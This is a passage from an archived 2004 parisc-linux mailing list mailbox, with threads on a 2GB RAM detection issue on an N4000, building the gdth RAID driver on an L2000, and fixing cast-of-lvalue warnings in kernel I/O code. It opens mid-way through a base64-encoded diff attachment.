dW50LS0pCiAJCXsKIAkJCWwyID0gKih1bnNpZ25lZCBpbnQgKikgc3JjOwotCQkJKCh1bnNpZ25l
ZCBpbnQgKikgc3JjKSsrOworCQkJc3JjICs9IHNpemVvZih1bnNpZ25lZCBpbnQpOwogCQkJb3V0
bCAobGUzMl90b19jcHUobCB8IGwyID4+IDI0KSwgcG9ydCk7CiAJCQlsID0gbDIgPDwgODsKIAkJ
fQpAQCAtNDQzLDE2ICs0NDMsMTYgQEAKIAkJLS1jb3VudDsKIAkJCiAJCWwgID0gKih1bnNpZ25l
ZCBjaGFyICopIHNyYyA8PCAyNDsKLQkJKCh1bnNpZ25lZCBjaGFyICopIHNyYykrKzsKKwkJc3Jj
ICs9IHNpemVvZih1bnNpZ25lZCBjaGFyKTsKIAkJd2hpbGUgKGNvdW50LS0pCiAJCXsKIAkJCWwy
ID0gKih1bnNpZ25lZCBpbnQgKikgc3JjOwotCQkJKCh1bnNpZ25lZCBpbnQgKikgc3JjKSsrOwor
CQkJc3JjICs9IHNpemVvZih1bnNpZ25lZCBpbnQpOwogCQkJb3V0bCAobGUzMl90b19jcHUobCB8
IGwyID4+IDgpLCBwb3J0KTsKIAkJCWwgPSBsMiA8PCAyNDsKIAkJfQogCQlsMiAgPSAqKHVuc2ln
bmVkIHNob3J0ICopIHNyYyA8PCAxNjsKLQkJKCh1bnNpZ25lZCBzaG9ydCAqKSBzcmMpKys7CisJ
CXNyYyArPSBzaXplb2YodW5zaWduZWQgc2hvcnQpOwogCQlsMiB8PSAqKHVuc2lnbmVkIGNoYXIg
Kikgc3JjOwogCQlvdXRsIChsZTMyX3RvX2NwdShsIHwgbDIpLCBwb3J0KTsKIAkJYnJlYWs7Cg==

--========/40561E710000662F/mail.tiscali.be--


From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Wed, 24 Mar 2004 17:42:06 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <40561E71000066FA@ocpmta2.freegates.net>
References: <40561EAF00005B43@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623299 7181 80.91.229.3 (22 Nov 2014 02:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Wed Mar 24 09:42:13 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73AB648EC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 09:42:13 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B6BSC-0005kY-00; Wed, 24 Mar 2004 17:42:08 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 24 Mar 2004 17:42:06 +0100
In-Reply-To: <40561EAF00005B43@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 16:42:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21176

Hi Grant,

Sorry but I make a typo in
arch/parisc/mm/init.c
static void __init setup_bootmem(void)
{
[snip]
        /*
         * Throw out ranges that are too far apart (controlled by
         * MAX_GAP). If CONFIG_DISCONTIGMEM wasn't implemented so
         * poorly, we would recommend enabling that option, but,
         * until it is fixed, this is the best way to go.
         */

        printk("npmem_ranges = %d.(line 171)\n", npmem_ranges);
        for (i = 1; i < npmem_ranges; i++) {
              printk("pmem_ranges[%d].start_pfn = %ld.\n", i-1, 
pmem_ranges[i-1].pages);  <=== should be start_pfn also

                printk("pmem_ranges[%d].pages = %ld.\n", i-1, 
pmem_ranges[i-1].pages);
                printk("pmem_ranges[%d].start_pfn = %ld.\n", i, 
pmem_ranges[i].pages);    <==== here the same
                printk("MAX_GAP = %ld.\n", MAX_GAP);
[snip]
           
And actual results would be:
<==== return by setup_bootmem() ====>
pmem_ranges[0].start_pfn = 0.
pmem_ranges[0].pages = 524288.
pmem_ranges[1].start_pfn = 1572864.

Is it much more in accordance to your knowledge?

Thanks for advise,
    Joel

PS: May I risk to play with CONFIG_DISCONTIGMEM?

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdth driver on L2000
Date: Wed, 24 Mar 2004 10:31:17 -0700
Lines: 68
Approved: news@gmane.org
Message-ID: <20040324173117.GA32052@colo.lackof.org>
References: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623299 7187 80.91.229.3 (22 Nov 2014 02:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:19 +0000 (UTC)
Cc: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
To: Eric Sproul <esproul@ntelos.net>
Original-X-From: grundler@lackof.org  Wed Mar 24 10:31:19 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75C8E483C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 10:31:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A877929809D; Wed, 24 Mar 2004 10:31:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 00506-06; Wed, 24 Mar 2004 10:31:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AAD41298029; Wed, 24 Mar 2004 10:31:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 17:31:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21177

On Wed, Mar 24, 2004 at 10:31:20AM -0500, Eric Sproul wrote:
> Forgive me if this is a FAQ.

It's not - no problem

...
> I want to use an Intel SRCU RAID controller in this machine, so I
> modified my config to build the gdth driver into the kernel.  It fails
> with an error about DMA_MODE_CASCADE being undeclared.  Looking further,
> I note that this is normally declared in include/asm-$ARCH/dma.h, but it
> doesn't appear in include/asm-parisc/dma.h.  Is it undeclared because it
> doesn't work or because no one has needed it before?

DMA_MODE_CASCADE is for ISA bus support (8237A chips).
AFAIK, parisc doesn't support ISA.

And EISA support isn't fully working yet.
EISA support still needs some code written for the WAX chip IOMMU.

gdth is a "multi-bus" driver:
	static int gdth_init_eisa(ushort eisa_adr,gdth_ha_str *ha);
	static int gdth_init_isa(ulong32 bios_adr,gdth_ha_str *ha);
	static int gdth_init_pci(gdth_pci_str *pcistr,gdth_ha_str *ha);

The problem is the driver assumes EISA/ISA/PCI are all enabled.
The linux-2.6/drivers/scsi/Kconfig entry says only any one of those:
config SCSI_GDTH
        tristate "Intel/ICP (former GDT SCSI Disk Array) RAID Controller support
"
        depends on (ISA || EISA || PCI) && SCSI

In short, the driver needs to be mangled so it works with only PCI enabled.
[ Actually, this driver violates Documentation/CodingStyle pretty seriously.
  o too many "#if LINUX_VERSION_CODE" spread out all over the place.
  o indentation is 4 spaces and nests too deep
]

> Would I be better off with a 2.6 kernel?

Not really. linux-2.6 shows the same problem:
grundler <507>fgrep DMA_MODE_CASCADE drivers/*/gdth*
drivers/scsi/gdth.c:                set_dma_mode(ha->drq,DMA_MODE_CASCADE);

I've hacked a quick patch together that lets this driver *build* without
ISA/EISA support using linux-2.6/arch/parisc/configs/a500_defconfig.
Just enable CONFIG_GDTH and apply this patch:
	ftp://ftp.parisc-linux.org/patches/diff-2.6.5-gdth-01

If it "works for you", please submit the patch to linux-scsi mailing list
(linux-scsi@vger.kernel.org) and cc parisc-linux mailing list.


> I took the lack of stock 2.6
> kernels for hppa in sid to mean that there was a problem, but I'd love
> to be wrong about that.

2.6 is working pretty well and I think it's just up to someone to
package and upload a linux-2.6 kernel*hppa.deb.

Thanks to Paul Bame, prebuilt tar balls and .debs of nightly builds
are available for both 2.4 and 2.6 hppa kernels:
	http://cvs.parisc-linux.org/download/linux-2.4/
	http://cvs.parisc-linux.org/download/linux-2.6/

For the L2000, you can run the "a500" flavor builds.

grant


From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Wed, 24 Mar 2004 10:39:03 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20040324173903.GB32052@colo.lackof.org>
References: <40561EAF00005B43@ocpmta1.freegates.net>
	<40561E71000066FA@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623299 7189 80.91.229.3 (22 Nov 2014 02:28:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Wed Mar 24 10:39:04 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B9A7483C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 10:39:04 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D9CFF29809D; Wed, 24 Mar 2004 10:39:03 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 00522-09; Wed, 24 Mar 2004 10:39:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5521E298029; Wed, 24 Mar 2004 10:39:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <40561E71000066FA@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 17:39:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21178

On Wed, Mar 24, 2004 at 05:42:06PM +0100, Joel Soete wrote:
...
> And actual results would be:
> <==== return by setup_bootmem() ====>
> pmem_ranges[0].start_pfn = 0.
> pmem_ranges[0].pages = 524288.
> pmem_ranges[1].start_pfn = 1572864.
> 
> Is it much more in accordance to your knowledge?

It's more or less what I was expecting, yes.

> PS: May I risk to play with CONFIG_DISCONTIGMEM?

Isn't this open source? of course you can.

thanks,
grant


From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Wed, 24 Mar 2004 19:23:53 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <40561E9500006A53@ocpmta3.freegates.net>
References: <20040324173903.GB32052@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623300 7191 80.91.229.3 (22 Nov 2014 02:28:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:20 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Wed Mar 24 11:24:01 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0B9C483C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 11:24:00 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B6D2g-0002cg-00; Wed, 24 Mar 2004 19:23:54 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 24 Mar 2004 19:23:53 +0100
In-Reply-To: <20040324173903.GB32052@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 18:24:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21179


> > PS: May I risk to play with CONFIG_DISCONTIGMEM?
>
> Isn't this open source? of course you can.

:))

I just didn't see any way to select it with 'make menuconfig' as there are
no Kconfig entry for parisc. I so conclude that anybody had never tested
this code (even in 2.4).

But ok when I will recover the availability of this server for my linux test,
I will try to build a kernel with this stuff.

Thanks a lot,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Sproul <esproul@ntelos.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdth driver on L2000
Date: Wed, 24 Mar 2004 14:56:49 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
References: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
	<20040324173117.GA32052@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623300 7195 80.91.229.3 (22 Nov 2014 02:28:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:20 +0000 (UTC)
To: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: esproul@ntelos.net  Wed Mar 24 12:56:51 2004
Return-Path: <esproul@ntelos.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrtr02.ntelos.net (mailrtr02.ntelos.net [216.12.0.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C7A7483C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 12:56:51 -0700 (MST)
Original-Received: from thunderbolt.oss.ntelos.net (thunderbolt.oss.ntelos.net
	[216.12.8.195])
	by mailrtr02.ntelos.net (8.11.7/8.11.7) with ESMTP id i2OJupP23675
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 14:56:51 -0500
In-Reply-To: <20040324173117.GA32052@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 19:56:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21180

On Wed, 2004-03-24 at 12:31, Grant Grundler wrote:
> I've hacked a quick patch together that lets this driver *build* without
> ISA/EISA support using linux-2.6/arch/parisc/configs/a500_defconfig.
> Just enable CONFIG_GDTH and apply this patch:
> 	ftp://ftp.parisc-linux.org/patches/diff-2.6.5-gdth-01
> 
> If it "works for you", please submit the patch to linux-scsi mailing list
> (linux-scsi@vger.kernel.org) and cc parisc-linux mailing list.

Grant,
I'm working with Debian's 2.6.4 sources, but the gdth driver must be
unchanged since the patch applies cleanly.  Thanks!

All,
Does anyone else who is running Debian have a working config I could use
to start from?  I've started with the stock Debian config (with changes
applied from the parisc Kconfig) but I'm having ugly build problems and
I know I've probably screwed up somewhere.  When I built my 2.4.25
kernel, I started with the config from Debian's stock 2.4.20-64-smp
kernel and made my adjustments from there.  I don't have that luxury
with 2.6.4 as there is no stock hppa kernel yet.  If you have a working
2.6 config, please post it or email me off-list.

Thanks,
Eric




From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cast of lvalue warning in the last k 2.6.5-rc2
	with	last gcc-3.3 (next)
Date: Wed, 24 Mar 2004 21:06:31 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <20040324210631.GN25059@parcelfarce.linux.theplanet.co.uk>
References: <40561EAF000053B8@ocpmta1.freegates.net>
	<40561E710000662F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623300 7199 80.91.229.3 (22 Nov 2014 02:28:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:20 +0000 (UTC)
Cc: PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Wed Mar 24 14:06:32 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8885C483C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 14:06:32 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B6Fa3-0006X3-GO; Wed, 24 Mar 2004 21:06:31 +0000
Content-Disposition: inline
In-Reply-To: <40561E710000662F@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 21:06:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21181

On Wed, Mar 24, 2004 at 04:54:52PM +0100, Joel Soete wrote:
> here is the next io.c diff file proposal (if some interest :) )
> --- arch/parisc/lib/io.c.orig	2004-03-24 14:47:42.703516192 +0100
> +++ arch/parisc/lib/io.c	2004-03-24 14:52:46.808285240 +0100
> @@ -21,19 +21,19 @@
>  		goto bytecopy;
>  	while (dest & 3) {
>  		writeb(*(char *)src, dest++);
> -		((char *)src)++;
> -		count--;
> +		src += sizeof(char);
> +		count -= sizeof(char);

eww.  Here's my attempt at something similar:

@@ -20,8 +20,9 @@ void __memcpy_toio(unsigned long dest, u
        if ((dest & 3) != (src & 3))
                goto bytecopy;
        while (dest & 3) {
-               writeb(*(char *)src, dest++);
-               ((char *)src)++;
+               writeb(*(char *)src, dest);
+               src++;
+               dest++;
                count--;
        }
        while (count > 3) {


>  	}
>  	while (count > 3) {
>  		__raw_writel(*(u32 *)src, dest);
> -		src += 4;
> -		dest += 4;
> -		count -= 4;
> +		src += sizeof(u32);
> +		dest += sizeof(u32);
> +		count -= sizeof(u32);

No, don't change these.

>   bytecopy:
>  	while (count--) {
>  		writeb(*(char *)src, dest++);
> -		((char *)src)++;
> +		src += sizeof(char);

...
-               writeb(*(char *)src, dest++);
-               ((char *)src)++;
+               writeb(*(char *)src, dest);
+               src++;
+               dest++;
...

I don't have time to finish off this patch right now.  Want to take a
stab at redoing it?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Sproul <esproul@ntelos.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gdth driver on L2000
Date: Wed, 24 Mar 2004 16:21:16 -0500
Lines: 89
Approved: news@gmane.org
Message-ID: <1080163275.23069.42.camel@thunderbolt.oss.ntelos.net>
References: <1080142280.1928.35.camel@thunderbolt.oss.ntelos.net>
	<20040324173117.GA32052@colo.lackof.org>
	<1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623301 7203 80.91.229.3 (22 Nov 2014 02:28:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:21 +0000 (UTC)
To: PA-RISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: esproul@ntelos.net  Wed Mar 24 14:21:17 2004
Return-Path: <esproul@ntelos.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailrtr02.ntelos.net (mailrtr02.ntelos.net [216.12.0.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22652483C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 14:21:17 -0700 (MST)
Original-Received: from thunderbolt.oss.ntelos.net (thunderbolt.oss.ntelos.net
	[216.12.8.195])
	by mailrtr02.ntelos.net (8.11.7/8.11.7) with ESMTP id i2OLLGP19618
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Mar 2004 16:21:16 -0500
In-Reply-To: <1080158208.23069.6.camel@thunderbolt.oss.ntelos.net>
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Mar 2004 21:21:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21182

On Wed, 2004-03-24 at 14:56, Eric Sproul wrote:
> All,
> Does anyone else who is running Debian have a working config I could use
> to start from?  I've started with the stock Debian config (with changes
> applied from the parisc Kconfig) but I'm having ugly build problems and
> I know I've probably screwed up somewhere.

Bad form replying to my own post, but I continue to have this problem
and could use some extra eyes/brain cells.  ;)

I put together what I thought was a sensible config for my L2000. 
However, I get a funky error where it claims the UTS Release is
mismatched, but the stated values are identical.  That may or may not be
connected to the make error where cpu_present_map appears undefined but
does appear in include/asm-parisc/smp.h.  Maybe even though CONFIG_SMP=Y
it is not including smp.h?

Could someone point me in the right direction to correct this error?

Thanks,
Eric

I am appending an extraversion of "-64-smp" because I am specifying the
following config options:

CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PARISC64=y
CONFIG_64BIT=y
CONFIG_SMP=y

(configure step completes normally, then...)

/usr/bin/make EXTRAVERSION=-64-smp   \
                                ARCH=parisc prepare
make[1]: Entering directory `/usr/src/kernel-source-2.6.4'
  HOSTCC  scripts/split-include
  HOSTCC  scripts/conmakehash
  HOSTCC  scripts/docproc
  HOSTCC  scripts/kallsyms
  CC      scripts/empty.o
  HOSTCC  scripts/mk_elfconfig
  MKELF   scripts/elfconfig.h
  HOSTCC  scripts/file2alias.o
  HOSTCC  scripts/modpost.o
  HOSTCC  scripts/sumversion.o
  HOSTLD  scripts/modpost
  HOSTCC  scripts/pnmtologo
  HOSTCC  scripts/bin2c
  SYMLINK include/asm -> include/asm-parisc
  CHK     include/linux/version.h
  UPD     include/linux/version.h
  SPLIT   include/linux/autoconf.h -> include/config/*
